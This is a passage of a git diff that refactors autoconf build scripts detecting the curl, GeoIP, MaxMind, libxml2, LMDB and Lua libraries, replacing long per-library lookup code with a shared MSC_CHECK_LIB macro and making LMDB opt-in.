"$_msc_curl_uses_gnutls" -ne 0; then AC_MSG_RESULT([yes]) AC_MSG_NOTICE([NOTE: curl linked with gnutls may be buggy, openssl recommended]) - CURL_USES_GNUTLS=yes else AC_MSG_RESULT([no]) - CURL_USES_GNUTLS=no - fi - -else - AC_MSG_RESULT([no]) -fi - -AC_SUBST(CURL_CONFIG) -AC_SUBST(CURL_VERSION) -AC_SUBST(CURL_CPPFLAGS) -AC_SUBST(CURL_CFLAGS) -AC_SUBST(CURL_LDFLAGS) -AC_SUBST(CURL_LDADD) -AC_SUBST(CURL_USES_GNUTLS) - -if test "x${with_curl}" == "xno"; then - CURL_DISABLED=yes -else - if test "x${with_curl}" != "x"; then - CURL_MANDATORY=yes - fi -fi - -if test -z "${CURL_VERSION}"; then - AC_MSG_NOTICE([*** curl library not found.]) - if test -z "${CURL_MANDATORY}"; then - if test -z "${CURL_DISABLED}"; then - CURL_FOUND=0 - else - CURL_FOUND=2 - fi - else - AC_MSG_ERROR([Curl was explicitly referenced but it was not found]) - CURL_FOUND=-1 fi -else - CURL_FOUND=1 - AC_MSG_NOTICE([using curl v${CURL_VERSION}]) - CURL_DISPLAY="${CURL_LDADD}, ${CURL_CFLAGS}" fi -AC_SUBST(CURL_FOUND) -AC_SUBST(CURL_DISPLAY) -]) +]) # AC_DEFUN [CHECK_CURL] diff --git a/build/libgeoip.m4 b/build/libgeoip.m4 index c382d241df..3aa74b3b9c 100644 --- a/build/libgeoip.m4 +++ b/build/libgeoip.m4 @@ -1,186 +1,12 @@ -dnl Check for GEOIP Libraries -dnl CHECK_GEOIP(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) +dnl Check for GeoIP Libraries dnl Sets: dnl GEOIP_CFLAGS dnl GEOIP_LDADD dnl GEOIP_LDFLAGS -dnl GEOIP_LIBS dnl GEOIP_VERSION +dnl GEOIP_DISPLAY +dnl GEOIP_FOUND AC_DEFUN([PROG_GEOIP], [ - -# Possible names for the geoip library/package (pkg-config) -GEOIP_POSSIBLE_LIB_NAMES="geoip2 geoip GeoIP" - -# Possible extensions for the library -GEOIP_POSSIBLE_EXTENSIONS="so la sl dll dylib" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -GEOIP_POSSIBLE_PATHS="/usr/local/libgeoip /usr/local/geoip /usr/local /opt/libgeoip /opt/geoip /opt /usr /opt/local/include /opt/local /usr/lib /usr/local/lib /usr/lib64 /usr" - -# Variables to be set by this very own script. -GEOIP_VERSION="" -GEOIP_CFLAGS="" -GEOIP_CPPFLAGS="" -GEOIP_LDADD="" -GEOIP_LDFLAGS="" - -AC_ARG_WITH( - geoip, - AS_HELP_STRING( - [--with-geoip=PATH], - [Path to GeoIP (including headers). Use 'no' to disable GeoIP support.] - ) -) - -# AS_HELP_STRING( -# [--without-geoip], -# [Complete dsiables GeoIP support] -# ) - - -if test "x${with_geoip}" == "xno"; then - AC_DEFINE(HAVE_GEOIP, 0, [Support for GeoIP was disabled by the utilization of --without-geoip or --with-geoip=no]) - AC_MSG_NOTICE([Support for GeoIP was disabled by the utilization of --without-geoip or --with-geoip=no]) - GEOIP_DISABLED=yes -else - if test "x${with_geoip}" == "xyes"; then - GEOIP_MANDATORY=yes - AC_MSG_NOTICE([GeoIP support was marked as mandatory by the utilization of --with-geoip=yes]) - fi -# for x in ${GEOIP_POSSIBLE_LIB_NAMES}; do -# CHECK_FOR_GEOIP_AT(${x}) -# if test -n "${GEOIP_VERSION}"; then -# break -# fi -# done - -# if test "x${with_geoip}" != "xyes" or test "x${with_geoip}" == "xyes"; then - if test "x${with_geoip}" == "x" || test "x${with_geoip}" == "xyes"; then - # Nothing about GeoIP was informed, using the pkg-config to figure things out. - if test -n "${PKG_CONFIG}"; then - GEOIP_PKG_NAME="" - for x in ${GEOIP_POSSIBLE_LIB_NAMES}; do - if ${PKG_CONFIG} --exists ${x}; then - GEOIP_PKG_NAME="$x" - break - fi - done - fi - AC_MSG_NOTICE([Nothing about GeoIP was informed during the configure phase. Trying to detect it on the platform...]) - if test -n "${GEOIP_PKG_NAME}"; then - # Package was found using the pkg-config scripts - GEOIP_VERSION="`${PKG_CONFIG} ${GEOIP_PKG_NAME} --modversion`" - GEOIP_CFLAGS="`${PKG_CONFIG} ${GEOIP_PKG_NAME} --cflags`" - GEOIP_LDADD="`${PKG_CONFIG} ${GEOIP_PKG_NAME} --libs-only-l`" - GEOIP_LDFLAGS="`${PKG_CONFIG} ${GEOIP_PKG_NAME} --libs-only-L --libs-only-other`" - GEOIP_DISPLAY="${GEOIP_LDADD}, ${GEOIP_CFLAGS}" - else - # If pkg-config did not find anything useful, go over file lookup. - for x in ${GEOIP_POSSIBLE_PATHS}; do - CHECK_FOR_GEOIP_AT(${x}) - if test -n "${GEOIP_VERSION}"; then - break - fi - done - fi - fi - if test "x${with_geoip}" != "x"; then - # An specific path was informed, lets check. - GEOIP_MANDATORY=yes - CHECK_FOR_GEOIP_AT(${with_geoip}) - fi -# fi -fi - -if test -z "${GEOIP_CFLAGS}"; then - if test -z "${GEOIP_MANDATORY}"; then - if test -z "${GEOIP_DISABLED}"; then - AC_MSG_NOTICE([GeoIP library was not found]) - GEOIP_FOUND=0 - else - GEOIP_FOUND=2 - fi - else - AC_MSG_ERROR([GeoIP was explicit requested but it was not found]) - GEOIP_FOUND=-1 - fi -else - GEOIP_FOUND=1 - AC_MSG_NOTICE([using GeoIP v${GEOIP_VERSION}]) - GEOIP_CFLAGS="-DWITH_GEOIP ${GEOIP_CFLAGS}" - AC_SUBST(GEOIP_VERSION) - AC_SUBST(GEOIP_LDADD) - AC_SUBST(GEOIP_LIBS) - AC_SUBST(GEOIP_LDFLAGS) - AC_SUBST(GEOIP_CFLAGS) - AC_SUBST(GEOIP_DISPLAY) -fi - - - -AC_SUBST(GEOIP_FOUND) - +MSC_CHECK_LIB([GEOIP], [geoip2 geoip GeoIP], [GeoIPCity.h], [GeoIP], [-DWITH_GEOIP]) ]) # AC_DEFUN [PROG_GEOIP] - - -AC_DEFUN([CHECK_FOR_GEOIP_AT], [ - path=$1 - for y in ${GEOIP_POSSIBLE_EXTENSIONS}; do - for z in ${GEOIP_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - geoip_lib_path="${path}/" - geoip_lib_name="${z}" - geoip_lib_file="${geoip_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - geoip_lib_path="${path}/" - geoip_lib_name="${z}" - geoip_lib_file="${geoip_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - geoip_lib_path="${path}/lib/" - geoip_lib_name="${z}" - geoip_lib_file="${geoip_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib64/lib${z}.${y}"; then - geoip_lib_path="${path}/lib64/" - geoip_lib_name="${z}" - geoip_lib_file="${geoip_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - geoip_lib_path="${path}/lib/x86_64-linux-gnu/" - geoip_lib_name="${z}" - geoip_lib_file="${geoip_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$geoip_lib_path"; then - break - fi - done - if test -e "${path}/include/GeoIPCity.h"; then - geoip_inc_path="${path}/include" - elif test -e "${path}/GeoIPCity.h"; then - geoip_inc_path="${path}" - fi - - - if test -n "${geoip_inc_path}" -a -n "${geoip_lib_path}"; then - - AC_MSG_NOTICE([GeoIP headers found at: ${geoip_inc_path}]) - AC_MSG_NOTICE([GeoIP library found at: ${geoip_lib_file}]) - fi - - if test -n "${geoip_lib_path}" -a -n "${geoip_inc_path}"; then - # TODO: Compile a piece of code to check the version. - GEOIP_CFLAGS="-I${geoip_inc_path}" - GEOIP_LDADD="-l${geoip_lib_name}" - GEOIP_LDFLAGS="-L${geoip_lib_path}" - GEOIP_DISPLAY="${geoip_lib_file}, ${geoip_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_GEOIP_AT] diff --git a/build/libmaxmind.m4 b/build/libmaxmind.m4 index 7eafc4d58d..074227daa2 100644 --- a/build/libmaxmind.m4 +++ b/build/libmaxmind.m4 @@ -1,187 +1,12 @@ -dnl Check for MAXMIND Libraries -dnl CHECK_MAXMIND(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) +dnl Check for MaxMind Libraries dnl Sets: dnl MAXMIND_CFLAGS dnl MAXMIND_LDADD dnl MAXMIND_LDFLAGS -dnl MAXMIND_LIBS dnl MAXMIND_VERSION +dnl MAXMIND_DISPLAY +dnl MAXMIND_FOUND AC_DEFUN([PROG_MAXMIND], [ - -# Possible names for the maxmind library/package (pkg-config) -MAXMIND_POSSIBLE_LIB_NAMES="maxminddb maxmind" - -# Possible extensions for the library -MAXMIND_POSSIBLE_EXTENSIONS="so la sl dll dylib" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -MAXMIND_POSSIBLE_PATHS="/usr/local/libmaxmind /usr/local/maxmind /usr/local /opt/libmaxmind /opt/maxmind /opt /usr /opt/local/include /opt/local /usr/lib /usr/local/lib /usr/lib64 /usr /usr/include/x86_64-linux-gnu/" - -# Variables to be set by this very own script. -MAXMIND_VERSION="" -MAXMIND_CFLAGS="" -MAXMIND_CPPFLAGS="" -MAXMIND_LDADD="" -MAXMIND_LDFLAGS="" - -AC_ARG_WITH( - maxmind, - AS_HELP_STRING( - [--with-maxmind=PATH], - [Path to MaxMind (including headers). Use 'no' to disable MaxMind support.] - ) -) - -# AS_HELP_STRING( -# [--without-maxmind], -# [Complete dsiables MaxMind support] -# ) - - -if test "x${with_maxmind}" == "xno"; then - AC_DEFINE(HAVE_MAXMIND, 0, [Support for MaxMind was disabled by the utilization of --without-maxmind or --with-maxmind=no]) - AC_MSG_NOTICE([Support for MaxMind was disabled by the utilization of --without-maxmind or --with-maxmind=no]) - MAXMIND_DISABLED=yes -else - if test "x${with_maxmind}" == "xyes"; then - MAXMIND_MANDATORY=yes - AC_MSG_NOTICE([MaxMind support was marked as mandatory by the utilization of --with-maxmind=yes]) - fi -# for x in ${MAXMIND_POSSIBLE_LIB_NAMES}; do -# CHECK_FOR_MAXMIND_AT(${x}) -# if test -n "${MAXMIND_VERSION}"; then -# break -# fi -# done - -# if test "x${with_maxmind}" != "xyes" or test "x${with_maxmind}" == "xyes"; then - if test "x${with_maxmind}" == "x" || test "x${with_maxmind}" == "xyes"; then - # Nothing about MaxMind was informed, using the pkg-config to figure things out. - if test -n "${PKG_CONFIG}"; then - MAXMIND_PKG_NAME="" - if ${PKG_CONFIG} --exists libmaxminddb; then - MAXMIND_PKG_NAME="libmaxminddb" - break - fi - fi - AC_MSG_NOTICE([Nothing about MaxMind was informed during the configure phase. Trying to detect it on the platform...]) - if test -n "${MAXMIND_PKG_NAME}"; then - # Package was found using the pkg-config scripts - MAXMIND_VERSION="`${PKG_CONFIG} ${MAXMIND_PKG_NAME} --modversion`" - MAXMIND_CFLAGS="`${PKG_CONFIG} ${MAXMIND_PKG_NAME} --cflags`" - MAXMIND_LDADD="`${PKG_CONFIG} ${MAXMIND_PKG_NAME} --libs-only-l`" - MAXMIND_LDFLAGS="`${PKG_CONFIG} ${MAXMIND_PKG_NAME} --libs-only-L --libs-only-other`" - MAXMIND_DISPLAY="${MAXMIND_LDADD}" - else - # If pkg-config did not find anything useful, go over file lookup. - for x in ${MAXMIND_POSSIBLE_PATHS}; do - CHECK_FOR_MAXMIND_AT(${x}) - if test -n "${MAXMIND_VERSION}"; then - break - fi - done - fi - fi - if test "x${with_maxmind}" != "x"; then - # An specific path was informed, lets check. - MAXMIND_MANDATORY=yes - CHECK_FOR_MAXMIND_AT(${with_maxmind}) - fi -# fi -fi - -if test -z "${MAXMIND_DISPLAY}"; then - if test -z "${MAXMIND_MANDATORY}"; then - if test -z "${MAXMIND_DISABLED}"; then - AC_MSG_NOTICE([MaxMind library was not found]) - MAXMIND_FOUND=0 - else - MAXMIND_FOUND=2 - fi - else - AC_MSG_ERROR([MaxMind was explicit requested but it was not found]) - MAXMIND_FOUND=-1 - fi -else - MAXMIND_FOUND=1 - AC_MSG_NOTICE([using MaxMind v${MAXMIND_VERSION}]) - MAXMIND_CFLAGS="-DWITH_MAXMIND ${MAXMIND_CFLAGS}" - if ! test "x$MAXMIND_CFLAGS" = "x"; then - MAXMIND_DISPLAY="${MAXMIND_DISPLAY}, ${MAXMIND_CFLAGS}" - fi - AC_SUBST(MAXMIND_VERSION) - AC_SUBST(MAXMIND_LDADD) - AC_SUBST(MAXMIND_LIBS) - AC_SUBST(MAXMIND_LDFLAGS) - AC_SUBST(MAXMIND_CFLAGS) - AC_SUBST(MAXMIND_DISPLAY) -fi - - - -AC_SUBST(MAXMIND_FOUND) - +MSC_CHECK_LIB([MAXMIND], [libmaxminddb], [maxminddb.h], [maxminddb], [-DWITH_MAXMIND]) ]) # AC_DEFUN [PROG_MAXMIND] - - -AC_DEFUN([CHECK_FOR_MAXMIND_AT], [ - path=$1 - for y in ${MAXMIND_POSSIBLE_EXTENSIONS}; do - for z in ${MAXMIND_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - maxmind_lib_path="${path}/" - maxmind_lib_name="${z}" - maxmind_lib_file="${maxmind_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - maxmind_lib_path="${path}/" - maxmind_lib_name="${z}" - maxmind_lib_file="${maxmind_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - maxmind_lib_path="${path}/lib/" - maxmind_lib_name="${z}" - maxmind_lib_file="${maxmind_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib64/lib${z}.${y}"; then - maxmind_lib_path="${path}/lib64/" - maxmind_lib_name="${z}" - maxmind_lib_file="${maxmind_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - maxmind_lib_path="${path}/lib/x86_64-linux-gnu/" - maxmind_lib_name="${z}" - maxmind_lib_file="${maxmind_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$maxmind_lib_path"; then - break - fi - done - if test -e "${path}/include/maxminddb.h"; then - maxmind_inc_path="${path}/include" - elif test -e "${path}/maxminddb.h"; then - maxmind_inc_path="${path}" - fi - - - if test -n "${maxmind_inc_path}" -a -n "${maxmind_lib_path}"; then - - AC_MSG_NOTICE([MaxMind headers found at: ${maxmind_inc_path}]) - AC_MSG_NOTICE([MaxMind library found at: ${maxmind_lib_file}]) - fi - - if test -n "${maxmind_lib_path}" -a -n "${maxmind_inc_path}"; then - # TODO: Compile a piece of code to check the version. - MAXMIND_CFLAGS="-I${maxmind_inc_path}" - MAXMIND_LDADD="-l${maxmind_lib_name}" - MAXMIND_LDFLAGS="-L${maxmind_lib_path}" - MAXMIND_DISPLAY="${maxmind_lib_file}, ${maxmind_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_MAXMIND_AT] diff --git a/build/libxml.m4 b/build/libxml.m4 index f10fd1f8d3..035b639d6f 100644 --- a/build/libxml.m4 +++ b/build/libxml.m4 @@ -1,135 +1,12 @@ dnl Check for LIBXML2 Libraries -dnl CHECK_LIBXML2(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) dnl Sets: dnl LIBXML2_CFLAGS -dnl LIBXML2_LIBS - -AC_DEFUN([CHECK_XML2CONFIG], [ - -AC_MSG_CHECKING([for libxml2 config script]) - -for x in ${test_paths}; do - dnl # Determine if the script was specified and use it directly - if test ! -d "$x" -a -e "$x"; then - LIBXML2_CONFIG=$x - libxml2_path="no" - break - fi - - dnl # Try known config script names/locations - for LIBXML2_CONFIG in xml2-config xml-2-config xml-config; do - if test -e "${x}/bin/${LIBXML2_CONFIG}"; then - libxml2_path="${x}/bin" - break - elif test -e "${x}/${LIBXML2_CONFIG}"; then - libxml2_path="${x}" - break - else - libxml2_path="" - fi - done - if test -n "$libxml2_path"; then - break - fi -done - -if test -n "${libxml2_path}"; then - if test "${libxml2_path}" != "no"; then - LIBXML2_CONFIG="${libxml2_path}/${LIBXML2_CONFIG}" - fi - AC_MSG_RESULT([${LIBXML2_CONFIG}]) - LIBXML2_VERSION=`${LIBXML2_CONFIG} --version | sed 's/^[[^0-9]][[^[:space:]]][[^[:space:]]]*[[[:space:]]]*//'` - if test ! -z "${LIBXML2_VERSION}"; then AC_MSG_NOTICE(xml VERSION: $LIBXML2_VERSION); fi - LIBXML2_CFLAGS="`${LIBXML2_CONFIG} --cflags` -DWITH_LIBXML2" - if test ! -z "${LIBXML2_CFLAGS}"; then AC_MSG_NOTICE(xml CFLAGS: $LIBXML2_CFLAGS); fi - LIBXML2_LDADD="`${LIBXML2_CONFIG} --libs`" - if test ! -z "${LIBXML2_LDADD}"; then AC_MSG_NOTICE(xml LDADD: $LIBXML2_LDADD); fi - - AC_MSG_CHECKING([if libxml2 is at least v${LIBXML2_MIN_VERSION}]) - libxml2_min_ver=`echo ${LIBXML2_MIN_VERSION} | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` - libxml2_ver=`echo ${LIBXML2_VERSION} | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` - if test "$libxml2_ver" -ge "$libxml2_min_ver"; then - AC_MSG_RESULT([yes, $LIBXML2_VERSION]) - else - AC_MSG_RESULT([no, $LIBXML2_VERSION]) - AC_MSG_ERROR([NOTE: libxml2 library must be at least ${LIBXML2_MIN_VERSION}]) - fi - -else - AC_MSG_RESULT([no]) -fi -]) +dnl LIBXML2_LDADD +dnl LIBXML2_LDFLAGS +dnl LIBXML2_VERSION +dnl LIBXML2_DISPLAY +dnl LIBXML2_FOUND AC_DEFUN([CHECK_LIBXML2], [ - -AC_ARG_WITH( - libxml, - [AS_HELP_STRING([--with-libxml=PATH],[Path to libxml2 prefix or config script])], - [test_paths="${with_libxml}"], - [test_paths="/usr/local/libxml2 /usr/local/xml2 /usr/local/xml /usr/local /opt/libxml2 /opt/libxml /opt/xml2 /opt/xml /opt /usr"]) - -LIBXML2_MIN_VERSION="2.6.29" -LIBXML2_PKG_NAME="libxml-2.0" -LIBXML2_CONFIG="" -LIBXML2_VERSION="" -LIBXML2_CFLAGS="" -LIBXML2_CPPFLAGS="" -LIBXML2_LDADD="" -LIBXML2_LDFLAGS="" - -if test "x${with_libxml}" != "xno"; then - if test -n "${PKG_CONFIG}"; then - AC_MSG_CHECKING([for libxml2 >= ${LIBXML2_MIN_VERSION} via pkg-config]) - if `${PKG_CONFIG} --exists "${LIBXML2_PKG_NAME} >= ${LIBXML2_MIN_VERSION}"`; then - LIBXML2_VERSION="`${PKG_CONFIG} --modversion ${LIBXML2_PKG_NAME}`" - LIBXML2_CFLAGS="`${PKG_CONFIG} --cflags ${LIBXML2_PKG_NAME}` -DWITH_LIBXML2" - LIBXML2_LDADD="`${PKG_CONFIG} --libs-only-l ${LIBXML2_PKG_NAME}`" - LIBXML2_LDFLAGS="`${PKG_CONFIG} --libs-only-L --libs-only-other ${LIBXML2_PKG_NAME}`" - AC_MSG_RESULT([found version ${LIBXML2_VERSION}]) - else - AC_MSG_RESULT([not found]) - fi - fi - - if test -z "${LIBXML2_VERSION}"; then - CHECK_XML2CONFIG - fi -fi - -AC_SUBST(LIBXML2_CONFIG) -AC_SUBST(LIBXML2_VERSION) -AC_SUBST(LIBXML2_CFLAGS) -AC_SUBST(LIBXML2_CPPFLAGS) -AC_SUBST(LIBXML2_LDADD) -AC_SUBST(LIBXML2_LDFLAGS) - - -if test "x${with_libxml}" == "xno"; then - LIBXML2_DISABLED=yes -else - if test "x${with_libxml}" != "x"; then - LIBXML2_MANDATORY=yes - fi -fi - -if test -z "${LIBXML2_VERSION}"; then - AC_MSG_NOTICE([*** libxml2 library not found.]) - if test -z "${LIBXML2_MANDATORY}"; then - if test -z "${LIBXML2_DISABLED}"; then - LIBXML2_FOUND=0 - else - LIBXML2_FOUND=2 - fi - else - AC_MSG_ERROR([Libxml2 was explicitly referenced but it was not found]) - LIBXML2_FOUND=-1 - fi -else - LIBXML2_FOUND=1 - AC_MSG_NOTICE([using libxml2 v${LIBXML2_VERSION}]) - LIBXML2_DISPLAY="${LIBXML2_LDADD}, ${LIBXML2_CFLAGS}" -fi - -AC_SUBST(LIBXML2_FOUND) -AC_SUBST(LIBXML2_DISPLAY) -]) +MSC_CHECK_LIB([LIBXML2], [libxml-2.0], [libxml/parser.h], [xml2], [-DWITH_LIBXML2], [2.6.29], [libxml]) +]) # AC_DEFUN [CHECK_LIBXML2] diff --git a/build/lmdb.m4 b/build/lmdb.m4 index 1488617e3f..3b834074a1 100644 --- a/build/lmdb.m4 +++ b/build/lmdb.m4 @@ -1,180 +1,29 @@ dnl Check for LMDB Libraries -dnl CHECK_LMDB(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) +dnl LMDB is disabled by default; only enabled when --with-lmdb is given. +dnl Sets: +dnl LMDB_CFLAGS +dnl LMDB_LDADD +dnl LMDB_LDFLAGS +dnl LMDB_VERSION +dnl LMDB_DISPLAY +dnl LMDB_FOUND AC_DEFUN([PROG_LMDB], [ -# Possible names for the lmdb library/package (pkg-config) -LMDB_POSSIBLE_LIB_NAMES="lmdb" - -# Possible extensions for the library -LMDB_POSSIBLE_EXTENSIONS="so so0 la sl dll dylib so.0.0.0" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -LMDB_POSSIBLE_PATHS="/usr/lib /usr/local/lib /usr/local/liblmdb /usr/local/lmdb /usr/local /opt/liblmdb /opt/lmdb /opt /usr /usr/lib64 /opt/local" - -# Variables to be set by this very own script. -LMDB_VERSION="" -LMDB_CFLAGS="" -LMDB_CPPFLAGS="" -LMDB_LDADD="" -LMDB_LDFLAGS="" - -AC_ARG_WITH( - lmdb, - [AS_HELP_STRING([--with-lmdb=PATH],[Path to lmdb prefix or config script])] -) - -if test "x${with_lmdb}" == "xno"; then - AC_DEFINE(HAVE_LMDB, 0, [Support for LMDB was disabled by the utilization of --without-lmdb or --with-lmdb=no]) - AC_MSG_NOTICE([Support for LMDB was disabled by the utilization of --without-lmdb or --with-lmdb=no]) - LMDB_DISABLED=yes -else - if test "x${with_lmdb}" == "xyes"; then - LMDB_MANDATORY=yes - AC_MSG_NOTICE([LMDB support was marked as mandatory by the utilization of --with-lmdb=yes]) - fi -# for x in ${LMDB_POSSIBLE_LIB_NAMES}; do -# CHECK_FOR_LMDB_AT(${x}) -# if test -n "${LMDB_VERSION}"; then -# break -# fi -# done - -# if test "x${with_lmdb}" != "xyes" or test "x${with_lmdb}" == "xyes"; then - if test "x${with_lmdb}" == "x" || test "x${with_lmdb}" == "xyes"; then - # Nothing about LMDB was informed, using the pkg-config to figure things out. - if test -n "${PKG_CONFIG}"; then - LMDB_PKG_NAME="" - for x in ${LMDB_POSSIBLE_LIB_NAMES}; do - if ${PKG_CONFIG} --exists ${x}; then - LMDB_PKG_NAME="$x" - break - fi - done - fi - AC_MSG_NOTICE([Nothing about LMDB was informed during the configure phase. Trying to detect it on the platform...]) - if test -n "${LMDB_PKG_NAME}"; then - # Package was found using the pkg-config scripts - LMDB_VERSION="`${PKG_CONFIG} ${LMDB_PKG_NAME} --modversion`" - LMDB_CFLAGS="`${PKG_CONFIG} ${LMDB_PKG_NAME} --cflags`" - LMDB_LDADD="`${PKG_CONFIG} ${LMDB_PKG_NAME} --libs-only-l`" - LMDB_LDFLAGS="`${PKG_CONFIG} ${LMDB_PKG_NAME} --libs-only-L --libs-only-other`" - LMDB_DISPLAY="${LMDB_LDADD}, ${LMDB_CFLAGS}" - else - # If pkg-config did not find anything useful, go over file lookup. - for x in ${LMDB_POSSIBLE_PATHS}; do - CHECK_FOR_LMDB_AT(${x}) - if test -n "${LMDB_VERSION}"; then - break - fi - done - fi - fi - if test "x${with_lmdb}" != "x"; then - # An specific path was informed, lets check. - LMDB_MANDATORY=yes - CHECK_FOR_LMDB_AT(${with_lmdb}) - fi -# fi -fi - -if test -z "${LMDB_LDADD}"; then - if test -z "${LMDB_MANDATORY}"; then - if test -z "${LMDB_DISABLED}"; then - AC_MSG_NOTICE([LMDB library was not found]) - LMDB_FOUND=0 - else - LMDB_FOUND=2 - fi - else - AC_MSG_ERROR([LMDB was explicitly referenced but it was not found]) - LMDB_FOUND=-1 - fi -else - if test -z "${LMDB_MANDATORY}"; then - LMDB_FOUND=2 - AC_MSG_NOTICE([LMDB is disabled by default.]) - else - LMDB_FOUND=1 - AC_MSG_NOTICE([using LMDB v${LMDB_VERSION}]) - LMDB_CFLAGS="-DWITH_LMDB ${LMDB_CFLAGS}" - LMDB_DISPLAY="${LMDB_LDADD}, ${LMDB_CFLAGS}" - AC_SUBST(LMDB_VERSION) - AC_SUBST(LMDB_LDADD) - AC_SUBST(LMDB_LIBS) - AC_SUBST(LMDB_LDFLAGS) - AC_SUBST(LMDB_CFLAGS) - AC_SUBST(LMDB_DISPLAY) - fi +# LMDB is opt-in: auto-detect finds it but we only activate when +# --with-lmdb or --with-lmdb=PATH is given explicitly. +MSC_CHECK_LIB([LMDB], [lmdb], [lmdb.h], [lmdb], [-DWITH_LMDB]) + +# If LMDB was found by auto-detection (no explicit --with-lmdb) treat it +# as disabled since LMDB is opt-in. +_msc_lmdb_with_val="$with_lmdb" +if test "x${_msc_lmdb_with_val}" = "x" && test "x${LMDB_FOUND}" = "x1"; then + LMDB_FOUND=2 + LMDB_CFLAGS="" + LMDB_LDADD="" + LMDB_LDFLAGS="" + LMDB_DISPLAY="" + AC_MSG_NOTICE([LMDB is disabled by default. Use --with-lmdb to enable.]) fi - -AC_SUBST(LMDB_FOUND) - ]) # AC_DEFUN [PROG_LMDB] - - -AC_DEFUN([CHECK_FOR_LMDB_AT], [ - path=$1 - echo "*** LOOKING AT PATH: " ${path} - for y in ${LMDB_POSSIBLE_EXTENSIONS}; do - for z in ${LMDB_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - lmdb_lib_path="${path}/" - lmdb_lib_name="${z}" - lmdb_lib_file="${lmdb_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - lmdb_lib_path="${path}/" - lmdb_lib_name="${z}" - lmdb_lib_file="${lmdb_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - lmdb_lib_path="${path}/lib/" - lmdb_lib_name="${z}" - lmdb_lib_file="${lmdb_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - lmdb_lib_path="${path}/lib/x86_64-linux-gnu/" - lmdb_lib_name="${z}" - lmdb_lib_file="${lmdb_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/i386-linux-gnu/lib${z}.${y}"; then - lmdb_lib_path="${path}/lib/i386-linux-gnu/" - lmdb_lib_name="${z}" - lmdb_lib_file="${lmdb_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$lmdb_lib_path"; then - break - fi - done - if test -e "${path}/include/lmdb.h"; then - lmdb_inc_path="${path}/include" - elif test -e "${path}/lmdb.h"; then - lmdb_inc_path="${path}" - elif test -e "${path}/include/lmdb/lmdb.h"; then - lmdb_inc_path="${path}/include" - fi - - if test -n "${lmdb_lib_path}"; then - AC_MSG_NOTICE([LMDB library found at: ${lmdb_lib_file}]) - fi - - if test -n "${lmdb_inc_path}"; then - AC_MSG_NOTICE([LMDB headers found at: ${lmdb_inc_path}]) - fi - - if test -n "${lmdb_lib_path}" -a -n "${lmdb_inc_path}"; then - # TODO: Compile a piece of code to check the version. - LMDB_CFLAGS="-I${lmdb_inc_path}" - LMDB_LDADD="-l${lmdb_lib_name}" - LMDB_LDFLAGS="-L${lmdb_lib_path}" - LMDB_DISPLAY="${lmdb_lib_file}, ${lmdb_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_LMDB_AT] diff --git a/build/lua.m4 b/build/lua.m4 index 4780d32fc9..608c10842e 100644 --- a/build/lua.m4 +++ b/build/lua.m4 @@ -1,248 +1,98 @@ dnl Check for LUA Libraries -dnl CHECK_LUA(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) - - -AC_DEFUN([CHECK_LUA], -[dnl - -# Possible names for the lua library/package (pkg-config) -LUA_POSSIBLE_LIB_NAMES="lua54 lua5.4 lua-5.4 lua53 lua5.3 lua-5.3 lua52 lua5.2 lua-5.2 lua51 lua5.1 lua-5.1 lua" - -# Possible extensions for the library -LUA_POSSIBLE_EXTENSIONS="so la sl dll dylib" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -LUA_POSSIBLE_PATHS="/usr/lib /usr/local/lib /usr/local/lib64 /usr/local/lua /usr/local/liblua /usr/local /opt /usr /usr/lib64 /opt/local /usr/lib/lua5.3/liblua /usr/lib/lua5.2/liblua" - -# Variables to be set by this very own script. -LUA_CFLAGS="" -LUA_LDFLAGS="" -LUA_LDADD="" -LUA_DISPLAY="" - -AC_ARG_WITH( - lua, - [AS_HELP_STRING([--with-lua=PATH],[Path to lua prefix])] -) - - -if test "x${with_lua}" == "xno"; then - AC_DEFINE(HAVE_LUA, 0, [Support for LUA was disabled by the utilization of --without-lua or --with-lua=no]) - AC_MSG_NOTICE([Support for LUA was disabled by the utilization of --without-lua or --with-lua=no]) - LUA_DISABLED=yes -else - if test "x${with_lua}" == "xyes"; then - LUA_MANDATORY=yes - AC_MSG_NOTICE([LUA support was marked as mandatory by the utilization of --with-lua=yes]) - else - LUA_MANDATORY=no - fi - for x in ${LUA_POSSIBLE_PATHS}; do - CHECK_FOR_LUA_AT(${x}) - if test -n "${LUA_CFLAGS}"; then - break - fi - done - if test -z "${LUA_CFLAGS}"; then - #Trying to figure out the version 